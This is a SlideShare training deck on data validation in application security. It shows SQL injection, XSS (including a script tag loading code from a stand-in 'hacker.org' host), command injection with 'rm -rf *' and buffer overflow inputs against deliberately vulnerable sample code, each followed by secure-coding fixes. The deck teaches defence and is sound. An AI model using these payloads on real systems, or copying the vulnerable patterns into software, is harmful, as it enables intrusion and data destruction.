SlideShare a Scribd company logo
DATA VALIDATION
Security Mechanism:
Authentication
Authorization
Session Management
Data Validation
Error Handling
Logging
Encryption
Data Validation Core Concepts
Given that the client can bypass any client-side controls, all data
collected from the client must be considered suspect.
1. Known Good Exact Match (Whitelisting)
2. Known Good Characters (Whitelisting)
3. Known Bad Characters (Blacklisting)
4. Known Bad Exact Match (Blacklisting)
Is the data of a proper length and well formed for what was
expected by the application?
Data Validation Words to Live By
 Validate data before use in SQL Commands
 Validate data before sending back to the client
 Validate data before use in ‘eval’ or system commands
 Validate all data lengths before writing to buffers
Data Validation Words to Live By: #1
 The problem
– The software constructs all or part of an SQL command using
externally-influenced input from an upstream component, but it does
not neutralize or incorrectly neutralizes special elements that could
modify the intended SQL command when it is sent to a downstream
component.
Validate data before use in SQL Commands
Adam'--
SELECT * FROM users WHERE username = 'Adam'--' AND password = ''
1 string strUser = request.getParameter("user");
2 string strPwd = request.getParameter("password");
3
4 string strQuery = "SELECT * FROM users
5 WHERE username = '" + strUser + "'
6 AND password = '" + strPwd + "'";
7
8 ExecuteQuery( strQuery, db_connection );
a' OR 1=1--
SELECT * FROM items WHERE username = 'a' OR 1=1--' AND password = ''
1 string strUser = request.getParameter("user");
2 string strPwd = request.getParameter("password");
3
4 string strQuery = "SELECT * FROM users
5 WHERE username = '" + strUser + "'
6 AND password = '" + strPwd + "'";
7
8 ExecuteQuery( strQuery, db_connection );
a'; DELETE FROM username; SELECT * FROM items WHERE 'a'='a
SELECT * FROM username WHERE user = 'a';
DELETE FROM username;
SELECT * FROM username WHERE 'a'='a' AND password = ''
1 string strUser = request.getParameter("user");
2 string strPwd = request.getParameter("password");
3
4 string strQuery = "SELECT * FROM users
5 WHERE username = '" + strUser + "'
6 AND password = '" + strPwd + "'";
7
8 ExecuteQuery( strQuery, db_connection );
'; EXEC master..xp_cmdshell 'dir' --
SELECT * FROM username WHERE user = '';
EXEC master..xp_cmdshell 'dir' --' AND password = ''
1 string strUser = request.getParameter("user");
2 string strPwd = request.getParameter("password");
3
4 string strQuery = "SELECT * FROM users
5 WHERE username = '" + strUser + "'
6 AND password = '" + strPwd + "'";
7
8 ExecuteQuery( strQuery, db_connection );
Real World – HBGary Federal vs. Anonymous
Bright, P. (2011, February 15). Anonymous speaks: The inside story of the HBGary hack. Retrieved February 16, 2011, from
http://arstechnica.com/tech-policy/news/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack.ars/
Image: From Wikimedia Commons – Image taken by Vincent Diamante, February 10, 2008. Retrieved September 20, 2011
from https://secure.wikimedia.org/wikipedia/commons/wiki/File:Anonymous_at_Scientology_in_Los_Angeles.jpg
Secure Coding …
 Restrict length (username doesn't need to be 100 chars long)
 Whitelist characters (only allow a-z and A-Z for username)
 Use prepared statements
1 string strUser = request.getParameter("user");
2 if(strUser.length > 100) error();
3 if(strUser.matches("^[a-zA-Z]+$") == false) error();
4
5 string strQuery = "SELECT * FROM users
6 WHERE username = ?
7 AND password = ?";
8
9 PreparedStatement stmnt = null;
10 stmnt = db_connection.prepareStatment(strQuery);
11 stmnt.setString(1,strUser);
12 stmnt.setString(2,strPwd);
13 stmnt.execute();
Data Validation Words to Live By: #2
 The problem
– The software does not neutralize or incorrectly neutralizes user-
controllable input before it is placed in output that is used as a web
page that is served to other users.
Validate data before sending back to the client
XSS (Cross Site Scripting) Flow
server
Attacker
User
Persistent XSS
create malicious site
malicious post
Reflected XSS
vulnerable site
1
2
- wait for user to visit site
- send phishing email
3
- browse to site
- clicks on link
4
attacker's code sent
to user and run in
their browser
<SCRIPT SRC=http://hacker.org/malicious.js />
<P>
Label: <SCRIPT SRC=http://hacker.org/malicious.js />
</P>
1 <% string strLabel = request.getParameter("label"); %>
2
3 <P>
4 Label: <%= strLabel %>
5 </P>
<IMG SRC=javascript:alert('XSS')/>
<P>
Label: <IMG SRC=javascript:alert('XSS') />
</P>
1 <% string strLabel = request.getParameter("label"); %>
2
3 <P>
4 Label: <%= strLabel %>
5 </P>
Real World – Myspace & samy is my hero
1 hour: 1 new friend
8 hours: 222 new friends
13 hours: 8803 new friends
18 hours: 1,005,831 new friends
Secure Coding …
 Validate input (only accept characters that make sense)
 Encode output (escape characters like "<")
– HTML encode
– URL encode
– JavaScript encode
1 <%
2 string strLabel = request.getParameter("label");
3 if(strLabel.matches("^[a-zA-Z0-9]+$") == false) error();
4 %>
5
6 <P>
7 Label: <%= encodeHTML(strLabel) %>
8 </P>
Real World – Google's URL Redirection
In 2005, Watchfire reported the following XSS issue with Google …
The script http://www.google.com/url?q= was used for redirecting the browser from
Google's website to other sites. When the parameter q was passed to the script in an illegal
format, a "403 Forbidden" page was returned to the user, informing them that the query was
illegal. The parameter's value appeared in the html returned to the user.
For example, if http://www.google.com/url?q=EVIL_INPUT was requested, the text in the "403
Forbidden" response would have been: - "Your client does not have permission to get URL
/url?q=EVIL_INPUT from this server."
While Google escaped common characters used for XSS, such angle brackets and
apostrophes, it failed to handle hazardous UTF-7 encoded payloads. Therefore, when sending
an XSS attack payload encoded in UTF-7, the payload would return in the response without
being altered.
<?php
header('Content-Type: text/html; charset=UTF-7');
$string = "<script>alert('XSS');</script>";
$string = mb_convert_encoding($string, 'UTF-7');
echo htmlentities($string, ENT_QUOTES, 'UTF-8');
?>
Data Validation Words to Live By: #3
 The problem
– The software receives input from an upstream component, but it
does not neutralize or incorrectly neutralizes code syntax before
using the input in a dynamic evaluation call (e.g. "eval").
Validate data before use in ‘eval’ or system commands
-lad
/bin/ls -lad
1 my $options = readSocket($sock);
2 my $command = "/bin/ls " . $options;
3 system($command);
-lad; rm -rf *;
/bin/ls -lad;
rm -rf *;
1 my $options = readSocket($sock);
2 my $command = "/bin/ls " . $options;
3 system($command);
Real World Example – TWiki Exploit
The search parameter of the website was being placed into an eval function,
allowing remote users to fully exploit the server
Secure Coding …
 Restrict length (option doesn't need to be 100 chars long)
 Whitelist (only allow specific commands)
1 my $options = <STDIN>;
2 if length($options) > 100
3 {
4 error();
5 }
6 if ($options =~ m/^[a-zA-Z- ]+$/)
7 {
8 my $command = "/bin/ls " . $options;
9 system($command);
10 }
Data Validation Words to Live By: #4
 The problem
– The program copies an input buffer to an output buffer without
verifying that the size of the input buffer is less than the size of the
output buffer, leading to a buffer overflow.
Validate all data lengths before writing to buffers
Hello
1 char c[12];
2 char *bar;
3 printf("Please enter your name and press <Enter>n");
4 get bar;
5 strcpy(c, bar);
A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​Ax08x35xC0x80
1 char c[12];
2 char *bar;
3 printf("Please enter your name and press <Enter>n");
4 get bar;
5 strcpy(c, bar);
Real World Example – Buffer Overflow
Secure Coding …
 Use "safe" functions (e.g., strncpy() )
 Validate maximum and minimum size values
 Verify that calculations result in valid ranges
 Validate length of input strings (plus NULL terminator!)
 Consider compiler switches that reduce danger of buffer
overflows
 Whitelist when possible
Assume all input is malicious.

More Related Content

What's hot

General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Security
jemond
 
MySQL server security
MySQL server securityMySQL server security
MySQL server security
Damien Seguy
 
Asegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File DownloadingAsegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File Downloading
Chema Alonso
 
Security in Node.JS and Express:
Security in Node.JS and Express:Security in Node.JS and Express:
Security in Node.JS and Express:
Petros Demetrakopoulos
 
Artem Storozhuk "Building SQL firewall: insights from developers"
Artem Storozhuk "Building SQL firewall: insights from developers"Artem Storozhuk "Building SQL firewall: insights from developers"
Artem Storozhuk "Building SQL firewall: insights from developers"
Fwdays
 
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
GeeksLab Odessa
 
New methods for exploiting ORM injections in Java applications
New methods for exploiting ORM injections in Java applicationsNew methods for exploiting ORM injections in Java applications
New methods for exploiting ORM injections in Java applications
Mikhail Egorov
 
PHP Secure Programming
PHP Secure ProgrammingPHP Secure Programming
PHP Secure Programming
Balavignesh Kasinathan
 
JavaOne 2016 -Emerging Web App Architectures using Java and node.js
JavaOne 2016 -Emerging Web App Architectures using Java and node.jsJavaOne 2016 -Emerging Web App Architectures using Java and node.js
JavaOne 2016 -Emerging Web App Architectures using Java and node.js
Steve Wallin
 
利用Init connect做mysql clients stat 用户审计
 利用Init connect做mysql clients stat 用户审计 利用Init connect做mysql clients stat 用户审计
利用Init connect做mysql clients stat 用户审计
Dehua Yang
 
Amazon Cognito使って認証したい?それならSpring Security使いましょう!
Amazon Cognito使って認証したい?それならSpring Security使いましょう!Amazon Cognito使って認証したい?それならSpring Security使いましょう!
Amazon Cognito使って認証したい?それならSpring Security使いましょう!
Ryosuke Uchitate
 
Art of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya MorimotoArt of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya Morimoto
Pichaya Morimoto
 
Hack any website
Hack any websiteHack any website
Hack any websitesunil kumar
 
Beyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the codeBeyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the code
Wim Godden
 
Sql injection 幼幼班
Sql injection 幼幼班Sql injection 幼幼班
Sql injection 幼幼班
hugo lu
 
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menaceDEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
Felipe Prado
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
Wim Godden
 
MongoDB.local DC 2018: Tips and Tricks for Avoiding Common Query Pitfalls
MongoDB.local DC 2018: Tips and Tricks for Avoiding Common Query PitfallsMongoDB.local DC 2018: Tips and Tricks for Avoiding Common Query Pitfalls
MongoDB.local DC 2018: Tips and Tricks for Avoiding Common Query Pitfalls
MongoDB
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
Wim Godden
 

What's hot (20)

General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Security
 
MySQL server security
MySQL server securityMySQL server security
MySQL server security
 
Asegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File DownloadingAsegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File Downloading
 
Security in Node.JS and Express:
Security in Node.JS and Express:Security in Node.JS and Express:
Security in Node.JS and Express:
 
2nd-Order-SQLi-Josh
2nd-Order-SQLi-Josh2nd-Order-SQLi-Josh
2nd-Order-SQLi-Josh
 
Artem Storozhuk "Building SQL firewall: insights from developers"
Artem Storozhuk "Building SQL firewall: insights from developers"Artem Storozhuk "Building SQL firewall: insights from developers"
Artem Storozhuk "Building SQL firewall: insights from developers"
 
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
 
New methods for exploiting ORM injections in Java applications
New methods for exploiting ORM injections in Java applicationsNew methods for exploiting ORM injections in Java applications
New methods for exploiting ORM injections in Java applications
 
PHP Secure Programming
PHP Secure ProgrammingPHP Secure Programming
PHP Secure Programming
 
JavaOne 2016 -Emerging Web App Architectures using Java and node.js
JavaOne 2016 -Emerging Web App Architectures using Java and node.jsJavaOne 2016 -Emerging Web App Architectures using Java and node.js
JavaOne 2016 -Emerging Web App Architectures using Java and node.js
 
利用Init connect做mysql clients stat 用户审计
 利用Init connect做mysql clients stat 用户审计 利用Init connect做mysql clients stat 用户审计
利用Init connect做mysql clients stat 用户审计
 
Amazon Cognito使って認証したい?それならSpring Security使いましょう!
Amazon Cognito使って認証したい?それならSpring Security使いましょう!Amazon Cognito使って認証したい?それならSpring Security使いましょう!
Amazon Cognito使って認証したい?それならSpring Security使いましょう!
 
Art of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya MorimotoArt of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya Morimoto
 
Hack any website
Hack any websiteHack any website
Hack any website
 
Beyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the codeBeyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the code
 
Sql injection 幼幼班
Sql injection 幼幼班Sql injection 幼幼班
Sql injection 幼幼班
 
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menaceDEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
MongoDB.local DC 2018: Tips and Tricks for Avoiding Common Query Pitfalls
MongoDB.local DC 2018: Tips and Tricks for Avoiding Common Query PitfallsMongoDB.local DC 2018: Tips and Tricks for Avoiding Common Query Pitfalls
MongoDB.local DC 2018: Tips and Tricks for Avoiding Common Query Pitfalls
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 

Similar to 07 application security fundamentals - part 2 - security mechanisms - data validation

Application Security
Application SecurityApplication Security
Application Securityflorinc
 
Application Security around OWASP Top 10
Application Security around OWASP Top 10Application Security around OWASP Top 10
Application Security around OWASP Top 10
Sastry Tumuluri
 
Php Security - OWASP
Php  Security - OWASPPhp  Security - OWASP
Php Security - OWASP
Mizno Kruge
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure codingHaitham Raik
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
Devnology
 
Php Security By Mugdha And Anish
Php Security By Mugdha And AnishPhp Security By Mugdha And Anish
Php Security By Mugdha And Anish
OSSCube
 
Locking Down Your MySQL Database.pptx
Locking Down Your MySQL Database.pptxLocking Down Your MySQL Database.pptx
Locking Down Your MySQL Database.pptx
Dave Stokes
 
OWASP Top 10 - DrupalCon Amsterdam 2019
OWASP Top 10 - DrupalCon Amsterdam 2019OWASP Top 10 - DrupalCon Amsterdam 2019
OWASP Top 10 - DrupalCon Amsterdam 2019
Ayesh Karunaratne
 
10 Rules for Safer Code
10 Rules for Safer Code10 Rules for Safer Code
10 Rules for Safer Code
Quang Ngoc
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
Slawomir Jasek
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
SecuRing
 
10 Rules for Safer Code [Odoo Experience 2016]
10 Rules for Safer Code [Odoo Experience 2016]10 Rules for Safer Code [Odoo Experience 2016]
10 Rules for Safer Code [Odoo Experience 2016]
Olivier Dony
 
Sql injection
Sql injectionSql injection
Sql injection
Mehul Boghra
 
Security: Odoo Code Hardening
Security: Odoo Code HardeningSecurity: Odoo Code Hardening
Security: Odoo Code Hardening
Odoo
 
Neoito — Secure coding practices
Neoito — Secure coding practicesNeoito — Secure coding practices
Neoito — Secure coding practices
Neoito
 
Whatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processWhatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the process
guest3379bd
 
Secure Coding for NodeJS
Secure Coding for NodeJSSecure Coding for NodeJS
Secure Coding for NodeJS
Thang Chung
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
Wim Godden
 
Web Security 101
Web Security 101Web Security 101
Web Security 101
Michael Peters
 

Similar to 07 application security fundamentals - part 2 - security mechanisms - data validation (20)

Application Security
Application SecurityApplication Security
Application Security
 
Application Security around OWASP Top 10
Application Security around OWASP Top 10Application Security around OWASP Top 10
Application Security around OWASP Top 10
 
Rails Security
Rails SecurityRails Security
Rails Security
 
Php Security - OWASP
Php  Security - OWASPPhp  Security - OWASP
Php Security - OWASP
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
Php Security By Mugdha And Anish
Php Security By Mugdha And AnishPhp Security By Mugdha And Anish
Php Security By Mugdha And Anish
 
Locking Down Your MySQL Database.pptx
Locking Down Your MySQL Database.pptxLocking Down Your MySQL Database.pptx
Locking Down Your MySQL Database.pptx
 
OWASP Top 10 - DrupalCon Amsterdam 2019
OWASP Top 10 - DrupalCon Amsterdam 2019OWASP Top 10 - DrupalCon Amsterdam 2019
OWASP Top 10 - DrupalCon Amsterdam 2019
 
10 Rules for Safer Code
10 Rules for Safer Code10 Rules for Safer Code
10 Rules for Safer Code
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 
10 Rules for Safer Code [Odoo Experience 2016]
10 Rules for Safer Code [Odoo Experience 2016]10 Rules for Safer Code [Odoo Experience 2016]
10 Rules for Safer Code [Odoo Experience 2016]
 
Sql injection
Sql injectionSql injection
Sql injection
 
Security: Odoo Code Hardening
Security: Odoo Code HardeningSecurity: Odoo Code Hardening
Security: Odoo Code Hardening
 
Neoito — Secure coding practices
Neoito — Secure coding practicesNeoito — Secure coding practices
Neoito — Secure coding practices
 
Whatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processWhatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the process
 
Secure Coding for NodeJS
Secure Coding for NodeJSSecure Coding for NodeJS
Secure Coding for NodeJS
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
Web Security 101
Web Security 101Web Security 101
Web Security 101
 

More from appsec

23 owasp top 10 - resources
23   owasp top 10 - resources23   owasp top 10 - resources
23 owasp top 10 - resources
appsec
 
15 owasp top 10 - a3-xss
15   owasp top 10 - a3-xss15   owasp top 10 - a3-xss
15 owasp top 10 - a3-xss
appsec
 
12 owasp top 10 - introduction
12   owasp top 10 - introduction12   owasp top 10 - introduction
12 owasp top 10 - introduction
appsec
 
10 application security fundamentals - part 2 - security mechanisms - encry...
10   application security fundamentals - part 2 - security mechanisms - encry...10   application security fundamentals - part 2 - security mechanisms - encry...
10 application security fundamentals - part 2 - security mechanisms - encry...
appsec
 
11 application security fundamentals - part 2 - security mechanisms - summary
11   application security fundamentals - part 2 - security mechanisms - summary11   application security fundamentals - part 2 - security mechanisms - summary
11 application security fundamentals - part 2 - security mechanisms - summary
appsec
 
09 application security fundamentals - part 2 - security mechanisms - logging
09   application security fundamentals - part 2 - security mechanisms - logging09   application security fundamentals - part 2 - security mechanisms - logging
09 application security fundamentals - part 2 - security mechanisms - logging
appsec
 
08 application security fundamentals - part 2 - security mechanisms - error...
08   application security fundamentals - part 2 - security mechanisms - error...08   application security fundamentals - part 2 - security mechanisms - error...
08 application security fundamentals - part 2 - security mechanisms - error...
appsec
 
06 application security fundamentals - part 2 - security mechanisms - sessi...
06   application security fundamentals - part 2 - security mechanisms - sessi...06   application security fundamentals - part 2 - security mechanisms - sessi...
06 application security fundamentals - part 2 - security mechanisms - sessi...
appsec
 
04 application security fundamentals - part 2 - security mechanisms - authe...
04   application security fundamentals - part 2 - security mechanisms - authe...04   application security fundamentals - part 2 - security mechanisms - authe...
04 application security fundamentals - part 2 - security mechanisms - authe...
appsec
 
05 application security fundamentals - part 2 - security mechanisms - autho...
05   application security fundamentals - part 2 - security mechanisms - autho...05   application security fundamentals - part 2 - security mechanisms - autho...
05 application security fundamentals - part 2 - security mechanisms - autho...
appsec
 
02 application security fundamentals - part 1 - security priciples
02   application security fundamentals - part 1 - security priciples02   application security fundamentals - part 1 - security priciples
02 application security fundamentals - part 1 - security priciples
appsec
 
01 Application Security Fundamentals - part 1 - introduction and goals
01 Application Security Fundamentals - part 1 - introduction and goals01 Application Security Fundamentals - part 1 - introduction and goals
01 Application Security Fundamentals - part 1 - introduction and goals
appsec
 

More from appsec (12)

23 owasp top 10 - resources
23   owasp top 10 - resources23   owasp top 10 - resources
23 owasp top 10 - resources
 
15 owasp top 10 - a3-xss
15   owasp top 10 - a3-xss15   owasp top 10 - a3-xss
15 owasp top 10 - a3-xss
 
12 owasp top 10 - introduction
12   owasp top 10 - introduction12   owasp top 10 - introduction
12 owasp top 10 - introduction
 
10 application security fundamentals - part 2 - security mechanisms - encry...
10   application security fundamentals - part 2 - security mechanisms - encry...10   application security fundamentals - part 2 - security mechanisms - encry...
10 application security fundamentals - part 2 - security mechanisms - encry...
 
11 application security fundamentals - part 2 - security mechanisms - summary
11   application security fundamentals - part 2 - security mechanisms - summary11   application security fundamentals - part 2 - security mechanisms - summary
11 application security fundamentals - part 2 - security mechanisms - summary
 
09 application security fundamentals - part 2 - security mechanisms - logging
09   application security fundamentals - part 2 - security mechanisms - logging09   application security fundamentals - part 2 - security mechanisms - logging
09 application security fundamentals - part 2 - security mechanisms - logging
 
08 application security fundamentals - part 2 - security mechanisms - error...
08   application security fundamentals - part 2 - security mechanisms - error...08   application security fundamentals - part 2 - security mechanisms - error...
08 application security fundamentals - part 2 - security mechanisms - error...
 
06 application security fundamentals - part 2 - security mechanisms - sessi...
06   application security fundamentals - part 2 - security mechanisms - sessi...06   application security fundamentals - part 2 - security mechanisms - sessi...
06 application security fundamentals - part 2 - security mechanisms - sessi...
 
04 application security fundamentals - part 2 - security mechanisms - authe...
04   application security fundamentals - part 2 - security mechanisms - authe...04   application security fundamentals - part 2 - security mechanisms - authe...
04 application security fundamentals - part 2 - security mechanisms - authe...
 
05 application security fundamentals - part 2 - security mechanisms - autho...
05   application security fundamentals - part 2 - security mechanisms - autho...05   application security fundamentals - part 2 - security mechanisms - autho...
05 application security fundamentals - part 2 - security mechanisms - autho...
 
02 application security fundamentals - part 1 - security priciples
02   application security fundamentals - part 1 - security priciples02   application security fundamentals - part 1 - security priciples
02 application security fundamentals - part 1 - security priciples
 
01 Application Security Fundamentals - part 1 - introduction and goals
01 Application Security Fundamentals - part 1 - introduction and goals01 Application Security Fundamentals - part 1 - introduction and goals
01 Application Security Fundamentals - part 1 - introduction and goals
 

Recently uploaded

LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
DanBrown980551
 
Alt. GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using ...
Alt. GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using ...Alt. GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using ...
Alt. GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using ...
James Anderson
 
Removing Uninteresting Bytes in Software Fuzzing
Removing Uninteresting Bytes in Software FuzzingRemoving Uninteresting Bytes in Software Fuzzing
Removing Uninteresting Bytes in Software Fuzzing
Aftab Hussain
 
GraphSummit Singapore | The Future of Agility: Supercharging Digital Transfor...
GraphSummit Singapore | The Future of Agility: Supercharging Digital Transfor...GraphSummit Singapore | The Future of Agility: Supercharging Digital Transfor...
GraphSummit Singapore | The Future of Agility: Supercharging Digital Transfor...
Neo4j
 
A tale of scale & speed: How the US Navy is enabling software delivery from l...
A tale of scale & speed: How the US Navy is enabling software delivery from l...A tale of scale & speed: How the US Navy is enabling software delivery from l...
A tale of scale & speed: How the US Navy is enabling software delivery from l...
sonjaschweigert1
 
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Albert Hoitingh
 
Secstrike : Reverse Engineering & Pwnable tools for CTF.pptx
Secstrike : Reverse Engineering & Pwnable tools for CTF.pptxSecstrike : Reverse Engineering & Pwnable tools for CTF.pptx
Secstrike : Reverse Engineering & Pwnable tools for CTF.pptx
nkrafacyberclub
 
Monitoring Java Application Security with JDK Tools and JFR Events
Monitoring Java Application Security with JDK Tools and JFR EventsMonitoring Java Application Security with JDK Tools and JFR Events
Monitoring Java Application Security with JDK Tools and JFR Events
Ana-Maria Mihalceanu
 
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdfObservability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Paige Cruz
 
Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !
KatiaHIMEUR1
 
zkStudyClub - Reef: Fast Succinct Non-Interactive Zero-Knowledge Regex Proofs
zkStudyClub - Reef: Fast Succinct Non-Interactive Zero-Knowledge Regex ProofszkStudyClub - Reef: Fast Succinct Non-Interactive Zero-Knowledge Regex Proofs
zkStudyClub - Reef: Fast Succinct Non-Interactive Zero-Knowledge Regex Proofs
Alex Pruden
 
How to Get CNIC Information System with Paksim Ga.pptx
How to Get CNIC Information System with Paksim Ga.pptxHow to Get CNIC Information System with Paksim Ga.pptx
How to Get CNIC Information System with Paksim Ga.pptx
danishmna97
 
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
James Anderson
 
RESUME BUILDER APPLICATION Project for students
RESUME BUILDER APPLICATION Project for studentsRESUME BUILDER APPLICATION Project for students
RESUME BUILDER APPLICATION Project for students
KAMESHS29
 
GraphRAG is All You need? LLM & Knowledge Graph
GraphRAG is All You need? LLM & Knowledge GraphGraphRAG is All You need? LLM & Knowledge Graph
GraphRAG is All You need? LLM & Knowledge Graph
Guy Korland
 
The Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and SalesThe Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and Sales
Laura Byrne
 
Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...
Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...
Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...
SOFTTECHHUB
 
Pushing the limits of ePRTC: 100ns holdover for 100 days
Pushing the limits of ePRTC: 100ns holdover for 100 daysPushing the limits of ePRTC: 100ns holdover for 100 days
Pushing the limits of ePRTC: 100ns holdover for 100 days
Adtran
 
Free Complete Python - A step towards Data Science
Free Complete Python - A step towards Data ScienceFree Complete Python - A step towards Data Science
Free Complete Python - A step towards Data Science
RinaMondal9
 
UiPath Test Automation using UiPath Test Suite series, part 6
UiPath Test Automation using UiPath Test Suite series, part 6UiPath Test Automation using UiPath Test Suite series, part 6
UiPath Test Automation using UiPath Test Suite series, part 6
DianaGray10
 

Recently uploaded (20)

LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
 
Alt. GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using ...
Alt. GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using ...Alt. GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using ...
Alt. GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using ...
 
Removing Uninteresting Bytes in Software Fuzzing
Removing Uninteresting Bytes in Software FuzzingRemoving Uninteresting Bytes in Software Fuzzing
Removing Uninteresting Bytes in Software Fuzzing
 
GraphSummit Singapore | The Future of Agility: Supercharging Digital Transfor...
GraphSummit Singapore | The Future of Agility: Supercharging Digital Transfor...GraphSummit Singapore | The Future of Agility: Supercharging Digital Transfor...
GraphSummit Singapore | The Future of Agility: Supercharging Digital Transfor...
 
A tale of scale & speed: How the US Navy is enabling software delivery from l...
A tale of scale & speed: How the US Navy is enabling software delivery from l...A tale of scale & speed: How the US Navy is enabling software delivery from l...
A tale of scale & speed: How the US Navy is enabling software delivery from l...
 
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
 
Secstrike : Reverse Engineering & Pwnable tools for CTF.pptx
Secstrike : Reverse Engineering & Pwnable tools for CTF.pptxSecstrike : Reverse Engineering & Pwnable tools for CTF.pptx
Secstrike : Reverse Engineering & Pwnable tools for CTF.pptx
 
Monitoring Java Application Security with JDK Tools and JFR Events
